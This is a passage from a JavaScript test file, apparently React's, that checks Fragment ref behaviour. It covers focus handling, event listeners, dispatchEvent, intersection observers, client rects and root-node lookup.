enableFragmentRefsInstanceHandles\n  it('attaches fragment handles to nodes', async () => {\n    const fragmentParentRef = React.createRef();\n    const fragmentRef = React.createRef();\n\n    function Test({show}) {\n      return (\n        <Fragment ref={fragmentParentRef}>\n          <Fragment ref={fragmentRef}>\n            <div id=\"childA\">A</div>\n            <div id=\"childB\">B</div>\n          </Fragment>\n          <div id=\"childC\">C</div>\n          {show && <div id=\"childD\">D</div>}\n        </Fragment>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => root.render(<Test show={false} />));\n\n    const childA = document.querySelector('#childA');\n    const childB = document.querySelector('#childB');\n    const childC = document.querySelector('#childC');\n\n    expect(childA.reactFragments.has(fragmentRef.current)).toBe(true);\n    expect(childB.reactFragments.has(fragmentRef.current)).toBe(true);\n    expect(childC.reactFragments.has(fragmentRef.current)).toBe(false);\n    expect(childA.reactFragments.has(fragmentParentRef.current)).toBe(true);\n    expect(childB.reactFragments.has(fragmentParentRef.current)).toBe(true);\n    expect(childC.reactFragments.has(fragmentParentRef.current)).toBe(true);\n\n    await act(() => root.render(<Test show={true} />));\n\n    const childD = document.querySelector('#childD');\n    expect(childD.reactFragments.has(fragmentRef.current)).toBe(false);\n    expect(childD.reactFragments.has(fragmentParentRef.current)).toBe(true);\n  });\n\n  describe('focus methods', () => {\n    describe('focus()', () => {\n      // @gate enableFragmentRefs\n      it('focuses the first focusable child', async () => {\n        const fragmentRef = React.createRef();\n        const root = ReactDOMClient.createRoot(container);\n\n        function Test() {\n          return (\n            <div>\n              <Fragment ref={fragmentRef}>\n                <div id=\"child-a\" />\n                <style>{`#child-c {}`}</style>\n                <a id=\"child-b\" href=\"/\">\n                  B\n                </a>\n                <a id=\"child-c\" href=\"/\">\n                  C\n                </a>\n              </Fragment>\n            </div>\n          );\n        }\n\n        await act(() => {\n          root.render(<Test />);\n        });\n\n        await act(() => {\n          fragmentRef.current.focus();\n        });\n        expect(document.activeElement.id).toEqual('child-b');\n        document.activeElement.blur();\n      });\n\n      // @gate enableFragmentRefs\n      it('focuses deeply nested focusable children, depth first', async () => {\n        const fragmentRef = React.createRef();\n        const root = ReactDOMClient.createRoot(container);\n\n        function Test() {\n          return (\n            <Fragment ref={fragmentRef}>\n              <div id=\"child-a\">\n                <div tabIndex={0} id=\"grandchild-a\">\n                  <a id=\"greatgrandchild-a\" href=\"/\" />\n                </div>\n              </div>\n              <a id=\"child-b\" href=\"/\" />\n            </Fragment>\n          );\n        }\n        await act(() => {\n          root.render(<Test />);\n        });\n        await act(() => {\n          fragmentRef.current.focus();\n        });\n        expect(document.activeElement.id).toEqual('grandchild-a');\n      });\n\n      // @gate enableFragmentRefs\n      it('preserves document order when adding and removing children', async () => {\n        const fragmentRef = React.createRef();\n        const root = ReactDOMClient.createRoot(container);\n\n        function Test({showA, showB}) {\n          return (\n            <Fragment ref={fragmentRef}>\n              {showA && <a href=\"/\" id=\"child-a\" />}\n              {showB && <a href=\"/\" id=\"child-b\" />}\n            </Fragment>\n          );\n        }\n\n        // Render with A as the first focusable child\n        await act(() => {\n          root.render(<Test showA={true} showB={false} />);\n        });\n        await act(() => {\n          fragmentRef.current.focus();\n        });\n        expect(document.activeElement.id).toEqual('child-a');\n        document.activeElement.blur();\n        // A is still the first focusable child, but B is also tracked\n        await act(() => {\n          root.render(<Test showA={true} showB={true} />);\n        });\n        await act(() => {\n          fragmentRef.current.focus();\n        });\n        expect(document.activeElement.id).toEqual('child-a');\n        document.activeElement.blur();\n\n        // B is now the first focusable child\n        await act(() => {\n          root.render(<Test showA={false} showB={true} />);\n        });\n        await act(() => {\n          fragmentRef.current.focus();\n        });\n        expect(document.activeElement.id).toEqual('child-b');\n        document.activeElement.blur();\n      });\n\n      // @gate enableFragmentRefs\n      it('keeps focus on the first focusable child if already focused', async () => {\n        const fragmentRef = React.createRef();\n        const root = ReactDOMClient.createRoot(container);\n\n        function Test() {\n          return (\n            <Fragment ref={fragmentRef}>\n              <a id=\"child-a\" href=\"/\">\n                A\n              </a>\n              <a id=\"child-b\" href=\"/\">\n                B\n              </a>\n            </Fragment>\n          );\n        }\n\n        await act(() => {\n          root.render(<Test />);\n        });\n\n        // Focus the first child manually\n        document.getElementById('child-a').focus();\n        expect(document.activeElement.id).toEqual('child-a');\n\n        // Calling fragment.focus() should keep focus on child-a,\n        // not skip to child-b\n        await act(() => {\n          fragmentRef.current.focus();\n        });\n        expect(document.activeElement.id).toEqual('child-a');\n        document.activeElement.blur();\n      });\n\n      // @gate enableFragmentRefs\n      it('keeps focus on a nested child if already focused', async () => {\n        const fragmentRef = React.createRef();\n        const root = ReactDOMClient.createRoot(container);\n\n        function Test() {\n          return (\n            <Fragment ref={fragmentRef}>\n              <div>\n                <input id=\"nested-input\" />\n              </div>\n              <a id=\"sibling-link\" href=\"/\">\n                Link\n              </a>\n            </Fragment>\n          );\n        }\n\n        await act(() => {\n          root.render(<Test />);\n        });\n\n        // Focus the nested input manually\n        document.getElementById('nested-input').focus();\n        expect(document.activeElement.id).toEqual('nested-input');\n\n        // Calling fragment.focus() should keep focus on nested-input\n        await act(() => {\n          fragmentRef.current.focus();\n        });\n        expect(document.activeElement.id).toEqual('nested-input');\n        document.activeElement.blur();\n      });\n\n      // @gate enableFragmentRefs\n      it('focuses the first focusable child in a fieldset', async () => {\n        const fragmentRef = React.createRef();\n        const root = ReactDOMClient.createRoot(container);\n\n        function Test() {\n          return (\n            <Fragment ref={fragmentRef}>\n              <fieldset>\n                <legend>Shipping</legend>\n                <input id=\"street\" name=\"street\" />\n                <input id=\"city\" name=\"city\" />\n              </fieldset>\n            </Fragment>\n          );\n        }\n\n        await act(() => {\n          root.render(<Test />);\n        });\n        await act(() => {\n          fragmentRef.current.focus();\n        });\n        expect(document.activeElement.id).toEqual('street');\n        document.activeElement.blur();\n      });\n    });\n\n    describe('focusLast()', () => {\n      // @gate enableFragmentRefs\n      it('focuses the last focusable child', async () => {\n        const fragmentRef = React.createRef();\n        const root = ReactDOMClient.createRoot(container);\n\n        function Test() {\n          return (\n            <div>\n              <Fragment ref={fragmentRef}>\n                <a id=\"child-a\" href=\"/\">\n                  A\n                </a>\n                <a id=\"child-b\" href=\"/\">\n                  B\n                </a>\n                <Wrapper>\n                  <a id=\"child-c\" href=\"/\">\n                    C\n                  </a>\n                </Wrapper>\n                <div id=\"child-d\" />\n                <style id=\"child-e\">{`#child-d {}`}</style>\n              </Fragment>\n            </div>\n          );\n        }\n\n        await act(() => {\n          root.render(<Test />);\n        });\n\n        await act(() => {\n          fragmentRef.current.focusLast();\n        });\n        expect(document.activeElement.id).toEqual('child-c');\n        document.activeElement.blur();\n      });\n\n      // @gate enableFragmentRefs\n      it('focuses deeply nested focusable children, depth first', async () => {\n        const fragmentRef = React.createRef();\n        const root = ReactDOMClient.createRoot(container);\n\n        function Test() {\n          return (\n            <Fragment ref={fragmentRef}>\n              <div id=\"child-a\" href=\"/\">\n                <a id=\"grandchild-a\" href=\"/\" />\n                <a id=\"grandchild-b\" href=\"/\" />\n              </div>\n              <div tabIndex={0} id=\"child-b\">\n                <a id=\"grandchild-a\" href=\"/\" />\n                <a id=\"grandchild-b\" href=\"/\" />\n              </div>\n            </Fragment>\n          );\n        }\n        await act(() => {\n          root.render(<Test />);\n        });\n        await act(() => {\n          fragmentRef.current.focusLast();\n        });\n        expect(document.activeElement.id).toEqual('grandchild-b');\n      });\n    });\n\n    describe('blur()', () => {\n      // @gate enableFragmentRefs\n      it('removes focus from an element inside of the Fragment', async () => {\n        const fragmentRef = React.createRef();\n        const root = ReactDOMClient.createRoot(container);\n\n        function Test() {\n          return (\n            <Fragment ref={fragmentRef}>\n              <a id=\"child-a\" href=\"/\">\n                A\n              </a>\n            </Fragment>\n          );\n        }\n\n        await act(() => {\n          root.render(<Test />);\n        });\n\n        await act(() => {\n          fragmentRef.current.focus();\n        });\n        expect(document.activeElement.id).toEqual('child-a');\n\n        await act(() => {\n          fragmentRef.current.blur();\n        });\n        expect(document.activeElement).toEqual(document.body);\n      });\n\n      // @gate enableFragmentRefs\n      it('does not remove focus from elements outside of the Fragment', async () => {\n        const fragmentRefA = React.createRef();\n        const fragmentRefB = React.createRef();\n        const root = ReactDOMClient.createRoot(container);\n\n        function Test() {\n          return (\n            <Fragment ref={fragmentRefA}>\n              <a id=\"child-a\" href=\"/\">\n                A\n              </a>\n              <Fragment ref={fragmentRefB}>\n                <a id=\"child-b\" href=\"/\">\n                  B\n                </a>\n              </Fragment>\n            </Fragment>\n          );\n        }\n\n        await act(() => {\n          root.render(<Test />);\n        });\n\n        await act(() => {\n          fragmentRefA.current.focus();\n        });\n        expect(document.activeElement.id).toEqual('child-a');\n\n        await act(() => {\n          fragmentRefB.current.blur();\n        });\n        expect(document.activeElement.id).toEqual('child-a');\n      });\n    });\n  });\n\n  describe('events', () => {\n    describe('add/remove event listeners', () => {\n      // @gate enableFragmentRefs\n      it('adds and removes event listeners from children', async () => {\n        const parentRef = React.createRef();\n        const fragmentRef = React.createRef();\n        const childARef = React.createRef();\n        const childBRef = React.createRef();\n        const root = ReactDOMClient.createRoot(container);\n\n        let logs = [];\n\n        function handleFragmentRefClicks() {\n          logs.push('fragmentRef');\n        }\n\n        function Test() {\n          React.useEffect(() => {\n            fragmentRef.current.addEventListener(\n              'click',\n              handleFragmentRefClicks,\n            );\n\n            return () => {\n              fragmentRef.current.removeEventListener(\n                'click',\n                handleFragmentRefClicks,\n              );\n            };\n          }, []);\n          return (\n            <div ref={parentRef}>\n              <Fragment ref={fragmentRef}>\n                <>Text</>\n                <div ref={childARef}>A</div>\n                <>\n                  <div ref={childBRef}>B</div>\n                </>\n              </Fragment>\n            </div>\n          );\n        }\n\n        await act(() => {\n          root.render(<Test />);\n        });\n\n        childARef.current.addEventListener('click', () => {\n          logs.push('A');\n        });\n\n        childBRef.current.addEventListener('click', () => {\n          logs.push('B');\n        });\n\n        // Clicking on the parent should not trigger any listeners\n        parentRef.current.click();\n        expect(logs).toEqual([]);\n\n        // Clicking a child triggers its own listeners and the Fragment's\n        childARef.current.click();\n        expect(logs).toEqual(['fragmentRef', 'A']);\n\n        logs = [];\n\n        childBRef.current.click();\n        expect(logs).toEqual(['fragmentRef', 'B']);\n\n        logs = [];\n\n        fragmentRef.current.removeEventListener(\n          'click',\n          handleFragmentRefClicks,\n        );\n\n        childARef.current.click();\n        expect(logs).toEqual(['A']);\n\n        logs = [];\n\n        childBRef.current.click();\n        expect(logs).toEqual(['B']);\n      });\n\n      // @gate enableFragmentRefs\n      it('adds and removes event listeners from children with multiple fragments', async () => {\n        const fragmentRef = React.createRef();\n        const nestedFragmentRef = React.createRef();\n        const nestedFragmentRef2 = React.createRef();\n        const childARef = React.createRef();\n        const childBRef = React.createRef();\n        const childCRef = React.createRef();\n        const root = ReactDOMClient.createRoot(container);\n\n        await act(() => {\n          root.render(\n            <div>\n              <Fragment ref={fragmentRef}>\n                <div ref={childARef}>A</div>\n                <div>\n                  <Fragment ref={nestedFragmentRef}>\n                    <div ref={childBRef}>B</div>\n                  </Fragment>\n                </div>\n                <Fragment ref={nestedFragmentRef2}>\n                  <div ref={childCRef}>C</div>\n                </Fragment>\n              </Fragment>\n            </div>,\n          );\n        });\n\n        let logs = [];\n\n        function handleFragmentRefClicks() {\n          logs.push('fragmentRef');\n        }\n\n        function handleNestedFragmentRefClicks() {\n          logs.push('nestedFragmentRef');\n        }\n\n        function handleNestedFragmentRef2Clicks() {\n          logs.push('nestedFragmentRef2');\n        }\n\n        fragmentRef.current.addEventListener('click', handleFragmentRefClicks);\n        nestedFragmentRef.current.addEventListener(\n          'click',\n          handleNestedFragmentRefClicks,\n        );\n        nestedFragmentRef2.current.addEventListener(\n          'click',\n          handleNestedFragmentRef2Clicks,\n        );\n\n        childBRef.current.click();\n        // Event bubbles to the parent fragment\n        expect(logs).toEqual(['nestedFragmentRef', 'fragmentRef']);\n\n        logs = [];\n\n        childARef.current.click();\n        expect(logs).toEqual(['fragmentRef']);\n\n        logs = [];\n        childCRef.current.click();\n        expect(logs).toEqual(['fragmentRef', 'nestedFragmentRef2']);\n\n        logs = [];\n\n        fragmentRef.current.removeEventListener(\n          'click',\n          handleFragmentRefClicks,\n        );\n        nestedFragmentRef.current.removeEventListener(\n          'click',\n          handleNestedFragmentRefClicks,\n        );\n        childCRef.current.click();\n        expect(logs).toEqual(['nestedFragmentRef2']);\n      });\n\n      // @gate enableFragmentRefs\n      it('adds an event listener to a newly added child', async () => {\n        const fragmentRef = React.createRef();\n        const childRef = React.createRef();\n        const root = ReactDOMClient.createRoot(container);\n        let showChild;\n\n        function Component() {\n          const [shouldShowChild, setShouldShowChild] = React.useState(false);\n          showChild = () => {\n            setShouldShowChild(true);\n          };\n\n          return (\n            <div>\n              <Fragment ref={fragmentRef}>\n                <div id=\"a\">A</div>\n                {shouldShowChild && (\n                  <div ref={childRef} id=\"b\">\n                    B\n                  </div>\n                )}\n              </Fragment>\n            </div>\n          );\n        }\n\n        await act(() => {\n          root.render(<Component />);\n        });\n\n        expect(fragmentRef.current).not.toBe(null);\n        expect(childRef.current).toBe(null);\n\n        let hasClicked = false;\n        fragmentRef.current.addEventListener('click', () => {\n          hasClicked = true;\n        });\n\n        await act(() => {\n          showChild();\n        });\n        expect(childRef.current).not.toBe(null);\n\n        childRef.current.click();\n        expect(hasClicked).toBe(true);\n      });\n\n      // @gate enableFragmentRefs\n      it('applies event listeners to host children nested within non-host children', async () => {\n        const fragmentRef = React.createRef();\n        const childRef = React.createRef();\n        const nestedChildRef = React.createRef();\n        const root = ReactDOMClient.createRoot(container);\n\n        await act(() => {\n          root.render(\n            <div>\n              <Fragment ref={fragmentRef}>\n                <div ref={childRef}>Host A</div>\n                <Wrapper>\n                  <Wrapper>\n                    <Wrapper>\n                      <div ref={nestedChildRef}>Host B</div>\n                    </Wrapper>\n                  </Wrapper>\n                </Wrapper>\n              </Fragment>\n            </div>,\n          );\n        });\n        const logs = [];\n        fragmentRef.current.addEventListener('click', e => {\n          logs.push(e.target.textContent);\n        });\n\n        expect(logs).toEqual([]);\n        childRef.current.click();\n        expect(logs).toEqual(['Host A']);\n        nestedChildRef.current.click();\n        expect(logs).toEqual(['Host A', 'Host B']);\n      });\n\n      // @gate enableFragmentRefs\n      it('allows adding and cleaning up listeners in effects', async () => {\n        const root = ReactDOMClient.createRoot(container);\n\n        let logs = [];\n        function logClick(e) {\n          logs.push(e.currentTarget.id);\n        }\n\n        let rerender;\n        let removeEventListeners;\n\n        function Test() {\n          const fragmentRef = React.useRef(null);\n          // eslint-disable-next-line no-unused-vars\n          const [_, setState] = React.useState(0);\n          rerender = () => {\n            setState(p => p + 1);\n          };\n          removeEventListeners = () => {\n            fragmentRef.current.removeEventListener('click', logClick);\n          };\n          React.useEffect(() => {\n            fragmentRef.current.addEventListener('click', logClick);\n\n            return removeEventListeners;\n          });\n\n          return (\n            <Fragment ref={fragmentRef}>\n              <div id=\"child-a\" />\n            </Fragment>\n          );\n        }\n\n        // The event listener was applied\n        await act(() => root.render(<Test />));\n        expect(logs).toEqual([]);\n        document.querySelector('#child-a').click();\n        expect(logs).toEqual(['child-a']);\n\n        // The event listener can be removed and re-added\n        logs = [];\n        await act(rerender);\n        document.querySelector('#child-a').click();\n        expect(logs).toEqual(['child-a']);\n      });\n\n      // @gate enableFragmentRefs\n      it('does not apply removed event listeners to new children', async () => {\n        const root = ReactDOMClient.createRoot(container);\n        const fragmentRef = React.createRef(null);\n        function Test() {\n          return (\n            <Fragment ref={fragmentRef}>\n              <div id=\"child-a\" />\n            </Fragment>\n          );\n        }\n\n        let logs = [];\n        function logClick(e) {\n          logs.push(e.currentTarget.id);\n        }\n        await act(() => {\n          root.render(<Test />);\n        });\n        fragmentRef.current.addEventListener('click', logClick);\n        const childA = document.querySelector('#child-a');\n        childA.click();\n        expect(logs).toEqual(['child-a']);\n\n        logs = [];\n        fragmentRef.current.removeEventListener('click', logClick);\n        childA.click();\n        expect(logs).toEqual([]);\n      });\n\n      // @gate enableFragmentRefs\n      it('applies event listeners to portaled children', async () => {\n        const fragmentRef = React.createRef();\n        const childARef = React.createRef();\n        const childBRef = React.createRef();\n        const root = ReactDOMClient.createRoot(container);\n\n        function Test() {\n          return (\n            <Fragment ref={fragmentRef}>\n              <div id=\"child-a\" ref={childARef} />\n              {createPortal(\n                <div id=\"child-b\" ref={childBRef} />,\n                document.body,\n              )}\n            </Fragment>\n          );\n        }\n\n        await act(() => {\n          root.render(<Test />);\n        });\n\n        const logs = [];\n        fragmentRef.current.addEventListener('click', e => {\n          logs.push(e.target.id);\n        });\n\n        childARef.current.click();\n        expect(logs).toEqual(['child-a']);\n\n        logs.length = 0;\n        childBRef.current.click();\n        expect(logs).toEqual(['child-b']);\n      });\n\n      describe('with activity', () => {\n        // @gate enableFragmentRefs\n        it('does not apply event listeners to hidden trees', async () => {\n          const parentRef = React.createRef();\n          const fragmentRef = React.createRef();\n          const root = ReactDOMClient.createRoot(container);\n\n          function Test() {\n            return (\n              <div ref={parentRef}>\n                <Fragment ref={fragmentRef}>\n                  <div>Child 1</div>\n                  <Activity mode=\"hidden\">\n                    <div>Child 2</div>\n                  </Activity>\n                  <div>Child 3</div>\n                </Fragment>\n              </div>\n            );\n          }\n\n          await act(() => {\n            root.render(<Test />);\n          });\n\n          const logs = [];\n          fragmentRef.current.addEventListener('click', e => {\n            logs.push(e.target.textContent);\n          });\n\n          const [child1, child2, child3] = parentRef.current.children;\n          child1.click();\n          child2.click();\n          child3.click();\n          expect(logs).toEqual(['Child 1', 'Child 3']);\n        });\n\n        // @gate enableFragmentRefs\n        it('applies event listeners to visible trees', async () => {\n          const parentRef = React.createRef();\n          const fragmentRef = React.createRef();\n          const root = ReactDOMClient.createRoot(container);\n\n          function Test() {\n            return (\n              <div ref={parentRef}>\n                <Fragment ref={fragmentRef}>\n                  <div>Child 1</div>\n                  <Activity mode=\"visible\">\n                    <div>Child 2</div>\n                  </Activity>\n                  <div>Child 3</div>\n                </Fragment>\n              </div>\n            );\n          }\n\n          await act(() => {\n            root.render(<Test />);\n          });\n\n          const logs = [];\n          fragmentRef.current.addEventListener('click', e => {\n            logs.push(e.target.textContent);\n          });\n\n          const [child1, child2, child3] = parentRef.current.children;\n          child1.click();\n          child2.click();\n          child3.click();\n          expect(logs).toEqual(['Child 1', 'Child 2', 'Child 3']);\n        });\n\n        // @gate enableFragmentRefs\n        it('handles Activity modes switching', async () => {\n          const fragmentRef = React.createRef();\n          const fragmentRef2 = React.createRef();\n          const parentRef = React.createRef();\n          const root = ReactDOMClient.createRoot(container);\n\n          function Test({mode}) {\n            return (\n              <div id=\"parent\" ref={parentRef}>\n                <Fragment ref={fragmentRef}>\n                  <Activity mode={mode}>\n                    <div id=\"child1\">Child</div>\n                    <Fragment ref={fragmentRef2}>\n                      <div id=\"child2\">Child 2</div>\n                    </Fragment>\n                  </Activity>\n                </Fragment>\n              </div>\n            );\n          }\n\n          await act(() => {\n            root.render(<Test mode=\"visible\" />);\n          });\n\n          let logs = [];\n          fragmentRef.current.addEventListener('click', () => {\n            logs.push('clicked 1');\n          });\n          fragmentRef2.current.addEventListener('click', () => {\n            logs.push('clicked 2');\n          });\n          parentRef.current.lastChild.click();\n          expect(logs).toEqual(['clicked 1', 'clicked 2']);\n\n          logs = [];\n          await act(() => {\n            root.render(<Test mode=\"hidden\" />);\n          });\n          parentRef.current.firstChild.click();\n          parentRef.current.lastChild.click();\n          expect(logs).toEqual([]);\n\n          logs = [];\n          await act(() => {\n            root.render(<Test mode=\"visible\" />);\n          });\n          parentRef.current.lastChild.click();\n          // Event order is flipped here because the nested child re-registers first\n          expect(logs).toEqual(['clicked 2', 'clicked 1']);\n        });\n      });\n    });\n\n    describe('dispatchEvent()', () => {\n      // @gate enableFragmentRefs\n      it('fires events on the host parent if bubbles=true', async () => {\n        const fragmentRef = React.createRef();\n        const root = ReactDOMClient.createRoot(container);\n        let logs = [];\n\n        function handleClick(e) {\n          logs.push([e.type, e.target.id, e.currentTarget.id]);\n        }\n\n        function Test({isMounted}) {\n          return (\n            <div onClick={handleClick} id=\"grandparent\">\n              <div onClick={handleClick} id=\"parent\">\n                {isMounted && (\n                  <Fragment ref={fragmentRef}>\n                    <div onClick={handleClick} id=\"child\">\n                      Hi\n                    </div>\n                  </Fragment>\n                )}\n              </div>\n            </div>\n          );\n        }\n\n        await act(() => {\n          root.render(<Test isMounted={true} />);\n        });\n\n        let isCancelable = !fragmentRef.current.dispatchEvent(\n          new MouseEvent('click', {bubbles: true}),\n        );\n        expect(logs).toEqual([\n          ['click', 'parent', 'parent'],\n          ['click', 'parent', 'grandparent'],\n        ]);\n        expect(isCancelable).toBe(false);\n\n        const fragmentInstanceHandle = fragmentRef.current;\n        await act(() => {\n          root.render(<Test isMounted={false} />);\n        });\n        logs = [];\n        isCancelable = !fragmentInstanceHandle.dispatchEvent(\n          new MouseEvent('click', {bubbles: true}),\n        );\n        expect(logs).toEqual([]);\n        expect(isCancelable).toBe(false);\n\n        logs = [];\n        isCancelable = !fragmentInstanceHandle.dispatchEvent(\n          new MouseEvent('click', {bubbles: false}),\n        );\n        expect(logs).toEqual([]);\n        expect(isCancelable).toBe(false);\n      });\n\n      // @gate enableFragmentRefs\n      it('fires events on self, and only self if bubbles=false', async () => {\n        const fragmentRef = React.createRef();\n        const root = ReactDOMClient.createRoot(container);\n        let logs = [];\n\n        function handleClick(e) {\n          logs.push([e.type, e.target.id, e.currentTarget.id]);\n        }\n\n        function Test() {\n          return (\n            <div id=\"parent\" onClick={handleClick}>\n              <Fragment ref={fragmentRef} />\n            </div>\n          );\n        }\n\n        await act(() => {\n          root.render(<Test />);\n        });\n\n        fragmentRef.current.addEventListener('click', handleClick);\n\n        fragmentRef.current.dispatchEvent(\n          new MouseEvent('click', {bubbles: true}),\n        );\n        expect(logs).toEqual([\n          ['click', undefined, undefined],\n          ['click', 'parent', 'parent'],\n        ]);\n\n        logs = [];\n\n        fragmentRef.current.dispatchEvent(\n          new MouseEvent('click', {bubbles: false}),\n        );\n        expect(logs).toEqual([['click', undefined, undefined]]);\n      });\n    });\n  });\n\n  describe('observers', () => {\n    beforeEach(() => {\n      mockIntersectionObserver();\n    });\n\n    // @gate enableFragmentRefs\n    it('attaches intersection observers to children', async () => {\n      let logs = [];\n      const observer = new IntersectionObserver(entries => {\n        entries.forEach(entry => {\n          logs.push(entry.target.id);\n        });\n      });\n      function Test({showB}) {\n        const fragmentRef = React.useRef(null);\n        React.useEffect(() => {\n          fragmentRef.current.observeUsing(observer);\n          const lastRefValue = fragmentRef.current;\n          return () => {\n            lastRefValue.unobserveUsing(observer);\n          };\n        }, []);\n        return (\n          <div id=\"parent\">\n            <React.Fragment ref={fragmentRef}>\n              <div id=\"childA\">A</div>\n              {showB && <div id=\"childB\">B</div>}\n            </React.Fragment>\n          </div>\n        );\n      }\n\n      function simulateAllChildrenIntersecting() {\n        const parent = container.firstChild;\n        if (parent) {\n          const children = Array.from(parent.children).map(child => {\n            return [child, {y: 0, x: 0, width: 1, height: 1}, 1];\n          });\n          simulateIntersection(...children);\n        }\n      }\n\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => root.render(<Test showB={false} />));\n      simulateAllChildrenIntersecting();\n      expect(logs).toEqual(['childA']);\n\n      // Reveal child and expect it to be observed\n      logs = [];\n      await act(() => root.render(<Test showB={true} />));\n      simulateAllChildrenIntersecting();\n      expect(logs).toEqual(['childA', 'childB']);\n\n      // Hide child and expect it to be unobserved\n      logs = [];\n      await act(() => root.render(<Test showB={false} />));\n      simulateAllChildrenIntersecting();\n      expect(logs).toEqual(['childA']);\n\n      // Unmount component and expect all children to be unobserved\n      logs = [];\n      await act(() => root.render(null));\n      simulateAllChildrenIntersecting();\n      expect(logs).toEqual([]);\n    });\n\n    // @gate enableFragmentRefs\n    it('warns when unobserveUsing() is called with an observer that was not observed', async () => {\n      const fragmentRef = React.createRef();\n      const observer = new IntersectionObserver(() => {});\n      const observer2 = new IntersectionObserver(() => {});\n      function Test() {\n        return (\n          <React.Fragment ref={fragmentRef}>\n            <div />\n          </React.Fragment>\n        );\n      }\n\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => root.render(<Test />));\n\n      // Warning when there is no attached observer\n      fragmentRef.current.unobserveUsing(observer);\n      assertConsoleErrorDev([\n        'You are calling unobserveUsing() with an observer that is not being observed with this fragment ' +\n          'instance. First attach the observer with observeUsing()',\n      ]);\n\n      // Warning when the attached observer does not match\n      fragmentRef.current.observeUsing(observer);\n      fragmentRef.current.unobserveUsing(observer2);\n      assertConsoleErrorDev([\n        'You are calling unobserveUsing() with an observer that is not being observed with this fragment ' +\n          'instance. First attach the observer with observeUsing()',\n      ]);\n    });\n\n    // @gate enableFragmentRefs && enableFragmentRefsInstanceHandles\n    it('attaches handles to observed elements to allow caching of observers', async () => {\n      const targetToCallbackMap = new WeakMap();\n      let cachedObserver = null;\n      function createObserverIfNeeded(fragmentInstance, onIntersection) {\n        const callbacks = targetToCallbackMap.get(fragmentInstance);\n        targetToCallbackMap.set(\n          fragmentInstance,\n          callbacks ? [...callbacks, onIntersection] : [onIntersection],\n        );\n        if (cachedObserver !== null) {\n          return cachedObserver;\n        }\n        const observer = new IntersectionObserver(entries => {\n          entries.forEach(entry => {\n            const fragmentInstances = entry.target.reactFragments;\n            if (fragmentInstances) {\n              Array.from(fragmentInstances).forEach(fInstance => {\n                const cbs = targetToCallbackMap.get(fInstance) || [];\n                cbs.forEach(callback => {\n                  callback(entry);\n                });\n              });\n            }\n\n            targetToCallbackMap.get(entry.target)?.forEach(callback => {\n              callback(entry);\n            });\n          });\n        });\n        cachedObserver = observer;\n        return observer;\n      }\n\n      function IntersectionObserverFragment({onIntersection, children}) {\n        const fragmentRef = React.useRef(null);\n        React.useLayoutEffect(() => {\n          const observer = createObserverIfNeeded(\n            fragmentRef.current,\n            onIntersection,\n          );\n          fragmentRef.current.observeUsing(observer);\n          const lastRefValue = fragmentRef.current;\n          return () => {\n            lastRefValue.unobserveUsing(observer);\n          };\n        }, []);\n        return <React.Fragment ref={fragmentRef}>{children}</React.Fragment>;\n      }\n\n      let logs = [];\n      function logIntersection(id) {\n        logs.push(`observe: ${id}`);\n      }\n\n      function ChildWithManualIO({id}) {\n        const divRef = React.useRef(null);\n        React.useLayoutEffect(() => {\n          const observer = createObserverIfNeeded(divRef.current, entry => {\n            logIntersection(id);\n          });\n          observer.observe(divRef.current);\n          return () => {\n            observer.unobserve(divRef.current);\n          };\n        }, []);\n        return (\n          <div id={id} ref={divRef}>\n            {id}\n          </div>\n        );\n      }\n\n      function Test() {\n        return (\n          <>\n            <IntersectionObserverFragment\n              onIntersection={() => logIntersection('grandparent')}>\n              <IntersectionObserverFragment\n                onIntersection={() => logIntersection('parentA')}>\n                <div id=\"childA\">A</div>\n              </IntersectionObserverFragment>\n            </IntersectionObserverFragment>\n            <IntersectionObserverFragment\n              onIntersection={() => logIntersection('parentB')}>\n              <div id=\"childB\">B</div>\n              <ChildWithManualIO id=\"childC\" />\n            </IntersectionObserverFragment>\n          </>\n        );\n      }\n\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => root.render(<Test />));\n\n      simulateIntersection([\n        container.querySelector('#childA'),\n        {y: 0, x: 0, width: 1, height: 1},\n        1,\n      ]);\n      expect(logs).toEqual(['observe: grandparent', 'observe: parentA']);\n\n      logs = [];\n\n      simulateIntersection([\n        container.querySelector('#childB'),\n        {y: 0, x: 0, width: 1, height: 1},\n        1,\n      ]);\n      expect(logs).toEqual(['observe: parentB']);\n\n      logs = [];\n      simulateIntersection([\n        container.querySelector('#childC'),\n        {y: 0, x: 0, width: 1, height: 1},\n        1,\n      ]);\n      expect(logs).toEqual(['observe: parentB', 'observe: childC']);\n    });\n  });\n\n  describe('getClientRects', () => {\n    // @gate enableFragmentRefs\n    it('returns the bounding client rects of all children', async () => {\n      const fragmentRef = React.createRef();\n      const childARef = React.createRef();\n      const childBRef = React.createRef();\n      const root = ReactDOMClient.createRoot(container);\n\n      function Test() {\n        return (\n          <React.Fragment ref={fragmentRef}>\n            <div ref={childARef} />\n            <div ref={childBRef} />\n          </React.Fragment>\n        );\n      }\n\n      await act(() => root.render(<Test />));\n      setClientRects(childARef.current, [\n        {\n          x: 1,\n          y: 2,\n          width: 3,\n          height: 4,\n        },\n        {\n          x: 5,\n          y: 6,\n          width: 7,\n          height: 8,\n        },\n      ]);\n      setClientRects(childBRef.current, [{x: 9, y: 10, width: 11, height: 12}]);\n      const clientRects = fragmentRef.current.getClientRects();\n      expect(clientRects.length).toBe(3);\n      expect(clientRects[0].left).toBe(1);\n      expect(clientRects[1].left).toBe(5);\n      expect(clientRects[2].left).toBe(9);\n    });\n  });\n\n  describe('getRootNode', () => {\n    // @gate enableFragmentRefs\n    it('returns the root node of the parent', async () => {\n      const fragmentRef = React.createRef();\n      const root = ReactDOMClient.createRoot(container);\n\n      function Test() {\n        return (\n          <div>\n            <React.Fragment ref={fragmentRef}>\n              <div />\n            </React.Fragment>\n          </div>\n        );\n      }\n\n      await act(() => root.render(<Test />));\n      expect(fragmentRef.current.getRootNode()).toBe(document);\n    });\n\n    // The desired behavior here is to return the topmost disconnected element when\n    // fragment + parent are unmounted. Currently we have a pass during unmount that\n    // recursively cleans up return pointers of the whole tree. We can change this\n    // with a future refactor. See: https://github.com/facebook/react/pull/32682#discussion_r2008313082\n    // @gate enableFragmentRefs\n    it('returns the topmost disconnected element if the fragment and parent are unmounted', async () => {\n      const containerRef = React.createRef();\n      const parentRef = React.createRef();\n      const fragmentRef = React.createRef();\n      const root = ReactDOMClient.createRoot(container);\n\n      function Test({mounted}) {\n        return (\n          <div ref={containerRef} 